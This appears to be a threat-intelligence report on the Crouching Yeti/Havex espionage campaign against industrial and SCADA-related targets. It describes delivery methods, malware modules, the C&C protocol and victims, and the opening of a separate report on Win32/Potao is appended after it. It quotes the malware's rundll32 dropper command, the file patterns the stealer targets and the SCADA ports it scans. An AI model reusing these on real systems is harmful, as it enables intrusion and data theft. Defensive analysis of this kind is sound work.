Analysis This section analyzes all the aspects we could find about how this actor performs its campaigns.
The Crouching Yeti actor performed a massive surveillance operation targeting strategic victims, many of them in the industrial/manufacturing sector.
There were different ways of delivering of its malware including waterholing, spearphishing and adding malware to legitimate installers.
Once the victims were infected, Crouching Yeti selected different RATs for its operations.
These RATs communicated with Command and Control servers on compromised servers around the world, using a simple PHP backend.
We were able to identify several victims, including high-profile ones and dozens of domains used in the campaign.
2.1.
Delivery As far as we know the group behind Crouching Yeti delivers its malware using at least three different methods.
1.
Legitimate software installers The first method uses a legitimate software installer repackaged to contain the malicious DLL.
Such modified self-extracting archives could have been uploaded directly to a compromised server, replacing the original file, or sent to the victim by email.
One example of this method was a hijacked SwissRanger camera driver (libMesaSR version 1.0.14.706) that was used to drop the Sysmain backdoor to: APPDATA\sydmain.dll and set the Run registry value to load malicious DLL upon next system startup.
6 TLP: Green Figure 1.
MESA Camera description In a similar manner, as early as January 2014, Havex version 038 appears to have been dropped by a legitimate 40MB software installer from the eWon web site: hxxp://www.ewon.biz/software/eCatcher/eCatcherSetup.exe eWon is a Belgian producer of SCADA and industrial network equipment, which helps define this attack method as a watering hole attack: Breaking the barrier between industrial applications and IT standards, the mission of eWON is to connect industrial machines securely to the Internet, enabling easy remote access and gathering all types of technical data originating from industrial machines...Connecting machines across the Internet is our mission.
Sometimes, the Havex loader was dropped from eCatcherSetup_v4.exe, so it seems that the site operators may have removed a previous file and the attackers replaced it with their trojanized installer, and so on.
Likely, the attackers gained access to eWons ftp site and replaced the legitimate file with one that is bound with the Havex dropper several times.
7 TLP: Green Figure 2.
eWon website screenshot Another example that involves a hijacked application from a PLC-related vendor is a Trojanized mbCHECK installer which replaced the original legitimate version freely downloadable from the vendors website.
The legitimate version can be downloaded for free from the vendors website.
The vendor - MB Connect Line - is a company which specializes in software for remote maintenance of PLC systems: MB Connect Line GmbH(hxxp://www.mbconnectline.com/index.php/en/).
8 TLP: Green Figure 3.
MB Connect Line website In this case, the dropped DLL was Havex version 043.
2.
Malicious XDP file  spear-phishing The second method relies on a malicious XDP file containing the PDF/SWF exploit (CVE-2011- 0611) and was most probably used in spear-phishing attacks.
This exploit drops the Havex loader DLL, which is stored in an encrypted form in the XDP file.
The exploit is delivered as an XDP file (XML Data Package) which is actually a PDF file packaged within an XML container.
This is a known the PDF obfuscation method and serves as an additional anti-detection layer.
The XDP file contains an SWF exploit and two files (encrypted with XOR) stored in the invalid section of the PDF.
One of the files is Havex DLL (version 038), the other is a small JAR file which is used to copy and run the DLL by executing the following command: cmd /c copy fname_passed_as_param TEMP\\explore.dll /y rundll32.exe TEMP\\explore.dll,RunDllEntry 9 TLP: Green SWF executes the action script, which contains another SWF file which in turn uses the CVE- 2011-0611 vulnerability to run the shellcode.
The shellcode then looks for a specific signature in the memory (which signs the start of encrypted DLL), decrypts and loads it.
3.
Malicious JAR/Html files  waterholing Finally, this actor actively compromises legitimate websites for watering hole attacks.
These hacked websites in turn redirect to malicious JAR or html files hosted on other sites maintained by the group (exploiting CVE-2013-2465, CVE-2013-1347, and CVE-2012-1723 in Java 6, Java 7, IE 7 and IE 8), which then drop the Havex loader, the Karagany backdoor and helper tools.
These sites run an exploit kit known as LightsOut.
It appears that the LightsOut exploit kit is exclusively used by Energetic Bear/Crouching Yeti.
From the dozens of Yeti exploit sites we reviewed, the malicious code was nothing more than slightly modified metasploit java exploits delivering the Havex loader.
Some sort of internal review must have pushed them towards the LightsOut EK.
KSN data records help provide a list of Crouching Yeti related exploit delivery from dozens of these sites.
In earlier cases (July 2013), successful Java exploitation served from nahoonservices.com would cascade into more Yeti components planted on victim systems.
The java exploit downloaded Karagany backdoors, which in turn downloaded stealers from 91.203.6.71: 10 TLP: Green Figure 4.
Infection diagram Ksn data recorded at least 20 victim sites that were compromised and injected with Yeti iframes, redirecting hundreds of visitors to compromised Yeti exploit sites.
Most of these redirector sites were owned by western and Eastern European power players, investors, legal advisors and advocates, and European and US industrial IT equipment makers.
The compromised sites hosting the LightsOut Exploit Kit were fairly trafficked, legitimate sites.
Their content varies widely, from California winemakers to Cuban travel agencies and Iranian general interest/religious inspiration sites.
11 TLP: Green Finally, other second stage tools were simply retrieved by the downloaders over http from various servers.
Some of these Yeti sites, like kinoporno.org, served both Havex and these tools.
KSN events recorded the sites serving Windows Credential Editor and custom credential and document stealing tools.
12 TLP: Green 2.2.
Malware The Crouching Yeti group has different tools of choice for their operations.
This section describes them from a technical perspective.
2.2.1 The Havex Loader 1.
Description The main functionality of this component is to download and load additional DLL modules into the memory.
These are stored on compromised websites that act as CC servers.
In order to do that, the malware injects itself into the EXPLORER.EXE process, sends a GET/POST request to the PHP script on the compromised website, then reads the HTML document returned by the script, looking for a base64 encrypted data between the two havex strings in the comment tag --havexhavex-- and writes this data it to a TEMP\tmp.xmd file (filename is generated by GetTempFilename function).
In the meantime, another routine is constantly checking the TEMP folder for all .xmd files.
For each file it finds, it decompresses the content, decrypts (if encrypted) and loads into the memory as the DLL.
In order to run on each system boot, malware copies itself to: path\TMPprovider0XX.dll and creates the autorun registry key.
All samples of this component contain a statically linked bzip2 library.
Versions  01B also contain an RSAeuro library, used to encrypt log files and decrypt downloadable modules.
Public keys for encryption are hardcoded in the binary and/or stored in the configuration section.
In some cases, these keys are written to the registry values.
In total, we identified 124 different samples of Havex loaders, belonging to 27 different versions.
As of June 2014, the latest version number we have is 044.
2.
CC communication The URL addresses of the CC servers (which are indeed compromised websites) are either hardcoded in the binary, or - in versions  038 - specified in the configuration section inside the ICT resource.
This resource is compressed with bzip2 and encrypted with XOR.
There are usually 2-4 URLs per binary, different for each malware version and sometimes also different between samples of the same version.
13 TLP: Green Malware sends a GET request (versions   017) or POST request to the first available URL.
The request contents depends on the malware version and it may include such information as unique bot id, malware version number, OS version number, and some other data from configuration, as well as the harvested information logged into the .yls file (if any).
Then the malware searches the HTML code of each returned page for havex markers and saves the data between the markers into a temporary file.
3.
Downloadable modules - common characteristics These modules are hosted between the havex markers in the HTML code of compromised websites.
The module code is usually XORed with 1312312 then compressed with BZIP2 and finally base64 encoded.
Once downloaded into the TEMP\.xmd file by the main Havex DLL, the code is decoded, decompressed, saved into the temporary DLL file and loaded into the memory.
The modules perform a variety of different actions, including collecting information about the victims system and other machines in the local network, harvesting passwords, listing documents, etc.
In order to do that, some of the modules make use of additional 3rd stage 3rd party executables.
Each module contains configuration information stored in an encrypted and compressed form inside a resource.
Configuration data includes 29-byte UID (unique ID), a 1024-bit RSA Public key (base64 encoded) and other necessary info (like file paths, etc.
).
All harvested data is compressed, encrypted and written into the TEMP\.yls files, which are then sent to the CC by the main Havex/Sysmain module.
The yls files are encrypted with the 3DES crypto algorithm using a random 192-bit key (168 bit effective).
The 3DES key is encrypted using the public RSA 1024 key and therefore never transferred in plain text to attackers.
In-depth analysis of the cryptography used by log files is presented in Appendix 2 4.
List of known modules OPC scanner This module is designed to collect detailed data about the OPC servers running in the local network and save them to a TEMP\rand.yls file.
To query the OPC servers, it uses the following interfaces: IID_IOPCEnumGUID IID_IOPCServerList 14 TLP: Green IID_IOPCServerList2 IID_IOPCServer IID_IOPCBrowsr IID_IOPCBrowseServerAddressSpace IID_IOPCItemProperties CATID_OPCDAServer10 CATID_OPCDAServer20 CATID_OPCDAServer30 Sysinfo module This module collects basic information about the system its running on, and saves it to the TEMP\rand.yls file.
Harvested data includes: Unique system ID OS version Username Computer name Country Language Current IP List of drives Default Browser Running Processes Proxy Setting User Agent Email Name BIOS version and date Lists of files and folders (non-recursive) from Desktop, My Documents and Program Files folders and root directories on all drives.
Contact stealer module This module collects contact details stored in all outlook.nk2 files and writes them to the TEMP\rand.yls file.
Outlook.nk2 is the file where Outlook (version since 2007) keeps contact details in order to use them with the AutoComplete feature.
Password stealer module This module uses the embedded BrowserPasswordDecryptor 2.0 tool (hxxp://securityxploded.com/browser-password-decryptor.php) to dump login credentials stored by the password managers of various browsers.
Decrypted passwords are saved into the TEMP\tmp1237.txt file, which is then copied by the parent module into an encrypted .tmp.yls file.
15 TLP: Green List of browsers supported by the tool (from the products website): Firefox Internet Explorer Google Chrome Google Chrome Canary/SXS CoolNovo Browser Opera Browser Apple Safari Comodo Dragon Browser SeaMonkey Browser SRWare Iron Browser Flock Browser Network scanner module This module is designed to scan the local network and look for all hosts listening on ports related to OPC/SCADA software.
Information about these hosts is then saved to the TEMP\tracedscn.yls file.
Port number Software that uses this port port 44818 Rslinx port 502 Modbus port 102 Siemens PLC port 11234 Measuresoft ScadaPro port 12401  7-Technologies IGSS SCADA In-depth analysis of the Havex loader and its related modules is presented in Appendix 2.
16 TLP: Green 2.2.2 The Ddex Loader 1.
Description This component is a simple downloader with a functionality similar to the Havex component.
It sends requests to the PHP script at the CC (compromised website) and looks for specific data in the returned HTML code.
It writes the data (some ASCII strings) from between I6/I6 tags to the file in TEMP\Low\task.tmp and the data (binary data XORed with 0x0A) from between B6/B6 tags into the TEMP\Low\ldXXXX.TMP file.
Then it decrypts the ldXXXX.TMP file and loads it into memory.
Based on the compilation times, we may assume that this loader was used to download and run modules before it was replaced by Havex.
The Ddex loader is analyzed in more detail in Appendix 4.
2.2.3 The Sysmain backdoor 1.
Description This malware can be described as a classical RAT (Remote Access Trojan), since it gives the attacker a wide range of opportunities to control and interact with the victim machine.
The autonomous part of Sysmain installs and registers itself to be persistent in the system.
Then it gathers general information about the victim system, like User- and computer names Locale information Network- and drive status Default browsers Running processes File listing from the user profile directory.
When ready, this data is submitted to one of the CC-servers.
After that, it checks periodically for new commands from CC (pulling via HTTP).
17 TLP: Green With a set of 11 commands, the malware is able to: Execute shell-commands Launch additional executables or libraries (sent by the attacker) Collect arbitrary files for later exfiltration Examine the victims file system.
There are also commands used for maintenance purposes.
Among others, there are commands to change the pubkey for CC-communication or delete its traces in the registry.
2.
CC communication It receives its commands from one of four static command-and-control servers.
Every variant of this malware has its own set of servers.
As usual, the attackers are using webservers - most likely compromised ones - as part of their CC-infrastructure.
To communicate with the CC-server, the Trojan makes use of asymmetric encryption with a hardcoded pair of private and public keys.
Another public key is used to encrypt files, which are collected in a local dropzone on the victims file system.
The files in that dropzone will be submitted to the attacker later, all in one go.
Appendix 3 provides in-depth analysis of the Sysmain backdoor.
2.2.4 The ClientX backdoor 1.
Description This component is written in .NET and is very similar to The Sysmain backdoor.
The settings of the RAT are stored in the registry as BASE64 encoded values.
The RAT gets its commands by sending a request to a PHP script on the CC (compromised server) as usual, and looks for specific data in the returned HTML code.
The data in this case is stored between the havexhavex tags, it is then decrypted and decoded (base64).
The RAT supports 13 commands including: Screen capture Trojan Update Loading DLLs 18 TLP: Green Starting executables Running shell commands Listing directories Each time a command (task) is executed, the result of that command is stored in the registry under a subkey named done or doneEXT.
The results (which are called answers by the authors) are then POSTED to the CC server.
The ClientX backdoor is analyzed in depth in Appendix 5.
2.2.5 The Karagany Backdoor 1.
Description Karagany is a simple backdoor that connects to the CC and keeps waiting for commands.
It can download and run additional executables, load/delete modules, read file content, reboot the computer, update itself and remove all components.
Besides backdoor functionality, it also extracts credentials from Internet Explorers password manager to the prx.jpg file and injects a small DLL into the processes of web browsers.
This DLL keeps listening to outgoing network traffic and looking for basic access authentication details sent over unencrypted HTTP.
Affected browsers include Internet Explorer, Firefox, Mozilla and Opera.
When executed, it copies itself to the folder under APPDATA and creates a .lnk file in the STARTUP directory.
The folder name and filename are chosen from a list of strings hardcoded in the binary: Folder name File name Microsoft WCF services SearchIndexer Broker services ImeBroker Flash Utilities fsutil Media Center Programs PnPutil Policy Definitions BdeUISrv Microsoft Web Tools WinSAT 19 TLP: Green Reference Assemblies pwNative Analysis Services SnippingTool InstallShield Information DFDWizard IIS SQL Server PrintBrmEngine Diagnostics WbemMonitor NTAPI Perfomance dxpserver WPF Platform PowerMng It also creates the C:\ProgramData\Mail\MailAg\ folder, where the information harvested by downloaded modules will be stored.
After checking if a connection to the Internet is up, it sends an initial POST request to the CC server.
Known parameters used in CC communication are: identifiantvictim_uid, which is calculated based on system version, system install date, username and system metrics versionbot_version_nr fichierfile_content 2.
List of known modules: Screenshot module This module is used to drop and run the DuckLink CmdCapture tool - a 3rd party freeware AutoIt application for capturing screenshots (hxxp://www.ducklink.com/).
A screenshot of the desktop is saved into the C:\ProgramData\Mail\MailAg\scs.jpg file.
Additionally, other system information - such as the date and time of capture, computer name, username, cpu architecture, os version, IP address, logon domain and logon server, desktop details (height, width, depth, refresh rate) and environmental variables - are logged in C:\ProgramData\Mail\MailAg\scs.txt file.
Module listing documents and other files This module is used to list all files and documents with specified extensions, or which have names containing specified strings in the C:\ProgramData\Mail\MailAg\fls.txt file.
Saved information includes path, size and modification time.
20 TLP: Green File matching patterns: pass.
.rtf .xls .pdf secret.
.pst .doc .vmdk .pgp .p12 .mdb .tc 2.3.
CC servers and victims The Command and Control Servers are compromised legitimate websites, like Blogs, from different countries.
In total we have identified 219 unique domain names for these CC servers hosted in 21 different countries.
We found most hosted CCs in the United States (81 servers), Germany (33 servers), the Russian Federation (19 servers) and the United Kingdom (7 servers).
Figure 5.
CC country distribution The table below shows the distribution of victims affected by the samples identified according to our KSN data.
21 TLP: Green Victims infected with samples from any of the Crouching Yeti groups malware were found in: 50 47 30 29 22 15 14 14 13 13 12 12 12 10 9 7 6 6 6 5 5 4 4 3 3 3 3 3 3 2 2 2 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 10 20 30 40 50 60 Spain Germany Azerbaijan India Italy Iraq Qatar Anonymous Proxy Argentina Taiwan Vietnam Brazil China Malaysia United Kingdom Ecuador Korea, Republic of Bangladesh Colombia Czech Republic Hong Kong Iran, Islamic Republic of Mexico Netherlands Antilles South Africa Switzerland Tajikistan 22 TLP: Green 65 of these CC servers, in the following countries, were monitored during our investigation.
Figure 6.
Monitored CC servers country distribution This monitoring enabled us to get a list of the victims connected to them.
1.
CC backend The CC Backend is written in PHP, consisting of 3 files: log.php is a Web-Shell, used for file level operations.
testlog.php is not a PHP-script but it contains the CC Server logfile of Backdoor- connections.
Please see source.php below for further information.
source.php The Backdoors interact with source.php, which is the control script.
These are its functions on execution: 23 TLP: Green 1.
Collect the following information: Information Syntax/content Used (written to log) Timestamp day-month-year hour: minute- second Yes IP-address checks and returns a valid IP- address from HTTP-Request (HTTP_CLIENT_IP, HTTP_X_FORWARDED, HTTP_X_FORWARDED_FOR, REMOTE_ADDR) Yes Host reverse lookup of IP-address (gethostbyaddr) No Proxy Proxy-IP-address if Bot connected through Proxy No UserAgent UserAgent from HTTP-Request Yes Request-URI string of URI requested by Bot Yes BotID BotID transferred with HTTP- request Yes 2.
Write the above information to testlog.php, separated by Tabulator and base64- encoded, with the following syntax: timestamp\tvictim ip-address\tproxy\tbotID\trequest-uri\tuseragent 3.
Write all transferred HTTP-GET Variables to botID.log, separated by Tabulator and base64-encoded.
4.
If the bot executes an HTTP-POST-request, the transferred data is written to the file botID.ans, enclosed in xdata-Tag with timestamp.
(
ans is the acronym for Answer).
5.
Check for any botID_.txt files a.
If found the first step is to append the timestamp, filename and a sent Status indicated to botID.log.
Then the file content is transferred to the bot, embedded into HTML with the HTML-Body No data and the HTML-Comment 24 TLP: Green havex, which contains the data to be transferred.
Finally the file on the server is removed.
If this removal fails it is logged to botID.log.
b.
If no matching file is found, an HTML-Response is sent with an empty havex HTML-Comment and HTML-Body text Sorry, no data corresponding to your request.
2.3.1.
Victims The term victim in this section refers to a botID (unique String of the Backdoor), connecting to one or more CC Servers.
Based on the 45 CC Servers wemonitored, a total of 2,811 unique Victims were discovered.
The average number of victims per CC is 70: Figure 7.
Number of victims (Y) per CC server instance (X) The following chart depicts the first (red line) and last (blue line) appearance of each victim on the CC.
The FirstHit shows how the rate of accumulating new victims has accelerated over the course of 2014.
LastHit shows how the last connection of victims to CC servers also increases over time.
This could mean victims are disinfecting their computers, or it may be that they simply report to a different CC server that we do not monitor.
25 TLP: Green Figure 8.
Evolution of FirstSeen and LastSeen victims Mapping the unique hits of victims per day also indicates a decrease of active infections.
The following chart clearly shows a difference between weekdays (groups of five higher bars) and weekends (two lower bars).
The daily unique hit-rate fell by about half from around 800 connections at the beginning of 2014 to around 400 connections per week-day by the middle of the year: Figure 9.
Unique victims per day reporting to CCs More than half of the victims always connect from the same IP address.
Fewer than half of the victims connect from two or more different IP addresses as the following graph shows.
26 TLP: Green Figure 10.
Number of different IPs per victim This might indicate that some of the victims are behind proxies, which makes sense for corporate environments.
Victims using many different IP addresses may indicate laptops.
The following chart visualizes all the unique victims connecting to CC servers.
The main CC Servers can be clearly seen in Russia and the USA.
The victims are distributed across 99 different countries.
27 TLP: Green Figure 11.
Connection between victims and CC From the total of 2,811 victims, it was possible to accurately identify 106 of them.
Appendix 8 contains a brief description about the sector/company in which these victims operate.
The table below summarizes the distribution of the identified victims by sector.
Sector Number of victim organizations Educational 32 Research 14 Mechanical Engineering 10 Information Technology 10 Construction 9 Government 8 Health 5 Network Infrastructure 3 28 TLP: Green Pharmaceutical 2 Electrical Engineering 2 Packaging 2 Financial 2 Energy 2 Cleaning 1 Automotive 1 Structural Engineering 1 Transportation 1 Chemical 1 1.
Havex Victims Based on our monitoring, the most widespread Backdoor is Havex with a total of 2,470 infected systems, mostly based in USA and Spain: Figure 12.
Havex victims per country 29 TLP: Green 32 different versions of Havex are used among all victims, with 51 victims left without any identifiable Havex version.
Havex Version 024, compiled at the end of 2012, is the most widespread.
Figure 13.
Havex version distribution Besides the Havex version, the OS Version of the victim computer is also communicated to the CC server.
The most common Operating System among victims is Windows XP, but Windows 8.1 is also on the list.
30 TLP: Green Figure 14.
OS distribution among victims 31 TLP: Green 2.
Sysmain Victims The Sysmain victims connect to six of the monitored CC servers, where 261 unique victims were counted, located in 38 different countries.
Figure 15.
Sysmain victims per country 3.
ClientX Victims Victims of the Clientx backdoor connect to 2 of the monitored CC Servers, where 10 unique Victims were counted in 5 different countries.
Figure 16.
ClientX victims per country 32 TLP: Green 2.3.2.
Victims-CC relationship Based on the analysis of the monitored CC Servers we can identify some clusters based on malware versions and the victims.
This graph visualizes these relations.
Every dot represents a victim, different Backdoors and versions are colored differently.
The CC Servers are also represented as dots where several clients connect.
Grey lines are connections from a victim to its CC Server.
Figure 17.
Clusters of victim-CC relationships Some CC Servers are dedicated to a given version of a backdoor (big Cluster).
Others share connections with different backdoor versions and different backdoors.
Breaking this down to the sectors of the identified victims, we cannot see any correlation between CCs and victims.
The same sectors are targeted with different backdoor versions.
33 TLP: Green 3.
Attribution 3.1.
Non-specific Data Compared to our other APT research the available data is more non-specific than usual.
There simply is no one piece or set of data that would lead to the conclusion that the threat actor is Bear, Kitten, Panda, Salmon, or otherwise.
Significant data points below.
File timestamp analysis and unique strings It is rare to see file timestamps used as a precise, primary source of information when it comes to threat actor attribution.
In previous reports, these timestamps have been used as supporting, or secondary pieces of data.
They may help to suggest or support a time range for attacker activity, but they are very easily modified.
So it is not very helpful to focus on this data set.
The strings present in the backdoors, web components, and exploits are in English.
Almost 200 malicious binaries and the related operational content all present a complete lack of Cyrillic content, the opposite of our documented findings from researching Red October, Miniduke, Cosmicduke, Snake, and TeamSpy.
The OPC module strings include typos and bad grammar.
Some are so bad they are almost silly and there doesnt seem to be a consistent pattern here: Programm was started at 02i:02i:02i Start finging of LAN hosts... Finding was fault.
Unexpective error Was found i hosts in LAN: Hosts wast found.
There are also three interesting strings inside the Karagany backdoor: identifiant (which is French for identifier), fichier (French for file) and liteliteliteskot (lite scot is Swedish for little sheet) Timestamp details Timestamp analysis is based on a total of 154 collected binaries: 124 Havex loader samples (versions 01 - 044)  7 downloaded modules 7 Sysmain backdoor samples 4 Ddex loader samples 1 ClientX backdoor sample 4 Karagany Trojan samples  2 downloaded modules 3 samples of Trojanized installers 34 TLP: Green Highlights: The earliest samples related to this campaign are the Ddex loader binaries with compilation timestamps between October and November 2010.
The first Havex loader samples, version 01 and version 02, have compilation timestamps from 28th September 2011.
The latest known samples are Havex loader version 044, compiled on 7th May 2014, and all OPC modules compiled in April and May 2014.
Most samples were compiled on weekdays, although there are a couple of samples with the compilation timestamp from a Saturday.
Most samples were compiled between 6:00 and 16:00 UTC with a peak between 6:00 and 8:00 UTC.
Earliest compilation time:   02:15:23 UTC (Wed, 28 Sep 2011) Latest time:   23:39:34 UTC  (Thu, 02 Jun 2011) Activity / Year (all samples): Figure 18.
Activity per year on different components 35 TLP: Green Activity / Weekdays based on compilation time: Figure 19.
Activity per weekday distribution Activity / Hours (UTC) based on compilation time: Figure 20.
Activity per hour distribution 36 TLP: Green 3.2.
Exploit server activity All the exploit servers delivered slightly modified ripped content from open source repositories.
All the servers appear to be hacked servers.
According to the available data, no zero-day exploits were used in any of these attacks, either to compromise the servers in the first place, or delivered as client side attack exploits by the Lights Out Exploit Kit.
While this purely malicious re-use of metasploit PoC highlights the danger that these attack tools pose, it is also unusual to see an exclusively metasploit attack toolset effectively used in this way, delivered from what appear to be a chain of higher value compromised sites.
All of these compromised web applications were vulnerable to freely available offensive security tools.
We acknowledge that many of the compromised referrer servers were related to power producers in some way.
However, these targets almost seem an afterthought, as the exploit servers themselves were compromised web servers from Cuban travel agency sites, a Californian winery site, a US based womens fashion site, an Iranian general interest/religious inspiration site, a number of dating and adult content websites, and a variety of others.
Although, we note that the known Trojanized software packages were ICS/SCADA related as well, possibly because those victim sets or environments required special attention.
So, while there was a strong set of offensive activities on power producers during the campaigns, it was by no means the full focus of them.
3.3.
Victim characteristics and categories While it may be shocking to observe power producers around the world targeted by any one threat actor, this actors attack activity does not appear to be constrained to power producers.
The related industries of interest show a much broader global scope than previously discussed, and the geographic regions of interest have gone completely undiscussed.
For example, Spain had the highest number of victims.
However, it appears that there was no significant correlation between the victim location and the CC geolocation.
And, according to our data, the list also includes victim organizations fitting the following additional categories: Pharmaceuticals Health Cleaning Education Automotive Transportation Packaging Network Infrastructure Information Technology Structural Engineering Mechanical Engineering 37 TLP: Green 4.
Conclusions The Crouching Yeti actor has been performing massive surveillance campaigns in recent years, since at least 2010.
Their targets included thousands of victims of which we were able to identify a few, confirming Crouching Yetis interest in several strategic sectors.
The distribution strategy of the group focuses on methods following this targeted philosophy, including spear phishing and waterholing.
Noticeably, they also compromised legitimate software packages from strategic actors in the SCADA sector in order to infect their final victims.
The victim list confirms that the tactic proved successful.
There is nothing especially sophisticated in their exploits, or in the malware they used to infect victims.
Their RATs are flexible enough to perform surveillance and data exfiltration efficiently.
They used dozens of compromised servers as Command and Control domains with a simple, but effective, PHP backend.
However there is an interesting connection with this group and the LightsOut Exploit Kit for the distribution of its malware in some waterholing attacks.
We believe they are likely its only operators as of June 2014.
Thanks to the monitoring of several of the Command and Control domains used by the group, we were able to identify several victims.
This victims list reinforces the interests shown by the Crouching Yeti actor in strategic targets, but also shows the interest of the group in many other not-so-obvious institutions.
We believe they might be collateral victims, but it might also be fair to redefine the Crouching Yeti actor not only as a highly targeted one in a very specific area of interest, but a broad surveillance campaign with interests in different sectors.
We will continue monitoring this actor.
2.
Analysis 2.1.
Delivery 2.2.
Malware 2.2.1 The Havex Loader 2.2.2 The Ddex Loader 2.2.3 The Sysmain backdoor 2.2.4 The ClientX backdoor 2.2.5 The Karagany Backdoor 2.3.
CC servers and victims 2.3.1.
Victims 2.3.2.
Victims-CC relationship 3.
Attribution 3.1.
Non-specific Data 3.2.
Exploit server activity 3.3.
Victim characteristics and categories 4.
Conclusions
OPERATION POTAO EXPRESS Analysis of a cyber-espionage toolkit Robert Lipovsky, Anton Cherepanov 1 EXECUTIVE SUMMARY The Operation Potao Express whitepaper presents ESETs latest findings based on research into the Win32/Potao malware family.
Even though the malware was detected long ago by ESET and a few other anti-virus companies, it hasnt received any public attention since 2011, when the first known samples were detected.
Like BlackEnergy (a.k.a.
Sandworm, Quedagh), Potao is an example of targeted espionage (APT) malware detected mostly in Ukraine and a number of other CIS countries, including Russia, Georgia and Belarus.
Among the victims that we were able to identify, the most notable high-value targets include Ukrainian government and military entities and one of the major Ukrainian news agencies.
The malware was also used to spy on members of MMM, a financial pyramid scheme popular in Russia and Ukraine.
One of the most interesting discoveries during our Potao investigation and research was the connection to a Russian version of the now discontinued popular open-source encryption software, TrueCrypt.
The website truecryptrussia.ru has been serving a Russian language localized version of the TrueCrypt application that also contains a backdoor, in some specific cases.
The trojanized version of the application is only served to selected victims which is another indicator of targeting by the malware operators and also one the reasons why the backdoor has gone unnoticed for such a long time.
In addition to serving trojanized TrueCrypt, the domain also acted as a CC server for the backdoor.
The connection to Potao lies in the fact that Win32/Potao has been downloaded in a few cases by Win32/FakeTC (ESET detection name of the trojanized encryption software).
This paper also gives additional technical details on the Win32/Potao malware family and its spreading mechanisms, and describes the most noteworthy attack campaigns.
2 INTRODUCTION This report gives details on a large number of attacks1 that have been going on for the past 5 years.
The (seemingly) unrelated campaigns were all conducted using the Win32/Potao malware family.
Similarly to BlackEnergy, the malware family used by the so-called Sandworm group, the Potao malware is a universal modular cyber-espionage toolkit.
The attacks where it was employed were of the targeted (APT) type but there were also several cases where we detected the trojan in mass- spreading campaigns.
The countries most targeted by Potao, a malware family most probably of Russian origin, are Ukraine, Russia and Georgia, with some notable high-value targets.
Our paper presents a timeline of the various campaigns, focusing on the spreading vectors and then provides a technical analysis of the Win32/Potao trojan.
We also analyze Win32/FakeTC atrojanized version of the popular open-source encryption software, TrueCrypt.
The listed Indicators of Compromise include sample hashes, domain names, and CC IP addresses.
1) The title of this whitepaper, Operation Potao Express, is derived from the Win32/Potao malware family  the common denominator in all of the described cyberattacks and from websites used in the postal-service campaigns.
3 CONTENTS Executive Summary .
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1 Introduction .
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2 List of figures .
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4 Attack timeline .
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5 Campaigns in 2011 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6 The MMM campaigns .
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7 A wedding invitation in Georgia .
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9 Shift of focus to Ukraine.
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9 Postal-service campaigns  .
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.10 Attacks against Ukrainian government and military .
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13 TrueCrypt Russia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14 Georgian campaign . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
15 Win32/Potao  Technical Analysis                                                                               15 Infection vectors  persistence  .
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16 Win32/Potao  Architecture .
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17 Plugins overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 CC communication protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
19 Spreading via USB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
22 Win32/Potao anti-reverse engineering techniques .
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.23 Win32/FakeTC  Fake TrueCrypt Analysis .
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24 Conclusion .
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26 Appendix A  Comparison with BlackEnergy (the trojan used by the Sandworm / Quedagh group) . . . . . . . . . . . . . . . . . . . . . . . . . . .
.27 Appendix B  Details of Win32/Potao samples  Campaigns . . . . . . . . . . . . . . . . . . . . . . .
28 Appendix C  Indicators of Compromise (IOC) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
30 SHA1 hashes: .
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30 Domain names:.
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.32 IP addresses of CC servers: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.32 4 LIST OF FIGURES Figure 1  Detection statistics for Win32/Potao according to ESET LiveGrid  .
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5 Figure 2  Timeline of selected Potao campaigns .
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6 Figure 3  Example decoy document from the first Potao campaigns .
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6 Figure 4  Armenian Ministry of Labor and Social Affairs document used as decoy in 2011 campaign . . . . . . .
7 Figure 5  Decoy document from 1st MMM-related campaign .
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7 Figure 6  Decoy document from another MMM-related campaign .
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8 Figure 7  Warning announcement on Sergei Mavrodis blog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8 Figure 8  Win32/Potao hosted on Dropbox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9 Figure 9  Georgian decoy wedding invitation .
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9 Figure 10  Debug versions of Win32/Potao . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 Figure 11  Legitimate Pony Express website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 Figure 12  Fraudulent MNTExpress website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 Figure 13  Spear-phishing SMS.
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11 Figure 14  SMS recipient seeking information on discussion forum . . . . . . . . . . . . . . . . . . . . . . . . . . .
11 Figure 15  Legitimate website of Singapore Posts Speedpost service .
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12 Figure 16  Fraudulent WorldAirPost.com website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 Figure 17  Pop-up message explaining why no Excel document was opened .
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13 Figure 18  Potao droppers with MS Word icons and file names to attract the recipients interest . . . . . . . . .
13 Figure 19  One of the corrupted-looking decoy documents from March 5, 2015 . . . . . . . . . . . . . . . . . . .
13 Figure 20  Website of TrueCrypt Russia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14 Figure 21  Georgian decoy document.
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15 Figure 22  PDB paths containing Potao, sapotao and node69  . . . . . . . . . . . . . . . . . . . . . . . . . . .
16 Figure 23  Patch of export function name before dropping the main DLL . . . . . . . . . . . . . . . . . . . . . . .
17 Figure 24  Win32/Potao architecture.
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17 Figure 25  GrandTorg certificate details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 Figure 26  Potao key exchange and CC communication scheme .
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20 Figure 27  Initial POST request sent to CC .
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21 Figure 28  CC server response with base64-encoded RSA-2048-signed generated RSA-2048 public key . . .
21 Figure 29  Trick for spreading via USB removable media .
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.23 Figure 30  Loading WinAPI functions through hashes .
